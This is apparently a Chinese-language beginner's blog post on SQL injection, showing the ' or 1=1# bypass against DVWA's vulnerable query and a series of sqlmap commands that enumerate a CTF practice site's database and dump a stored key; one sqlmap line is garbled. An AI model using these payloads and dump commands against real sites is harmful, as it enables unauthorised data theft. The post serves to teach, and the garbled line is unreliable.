Web安全Web安全

初识SQL注入

2018-03-11  本文已影响40人  楠昭

一、基础

1. 定义

SQL注入是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。
【自行理解:只要有要求用户输入的地方,就会有连接数据库的操作,由于用户可以输入任何东西,所以就能也能输入sql代码来搞破坏】

2. 分类

3. 一般流程

step1:寻找注入点

找到网站中传递参数的地方,比如按编号查询商品的页面,如http://xxx/xxx.php?id= 45再进行判断

step2:猜解数据库字段

猜解原理:以dvwa为例
源码:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
我们要做的就是通过控制user_id的输入达到获取数据库中信息的目的,比如输入' or 1=1#则真正执行的sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1#`;
这里' or 1=1#也叫万能密码,原理很简单,对于执行的sql语句,user_id传入什么不要紧,后面的1=1永远成立,再注意加注释#表示把后面的 `去掉,根据or运算的性质,有一个条件为真,这句话就可以执行

二、使用神器sqlmap

1.爆当前数据库名:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db

2.爆表名: -D 指定上一步爆出的数据库名 my_db

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

3.爆列名(字段名), -T 指定上一步爆出的表名 admin

sqlmap -u "爆列名(字段名), -T 指定上一步爆出的表名 admin

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns --no-cast

4.爆字段中存储的数据值:使用-D my_db -T thiskey -C k0y --dump 参数得到值

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

上一篇 下一篇

猜你喜欢

热点阅读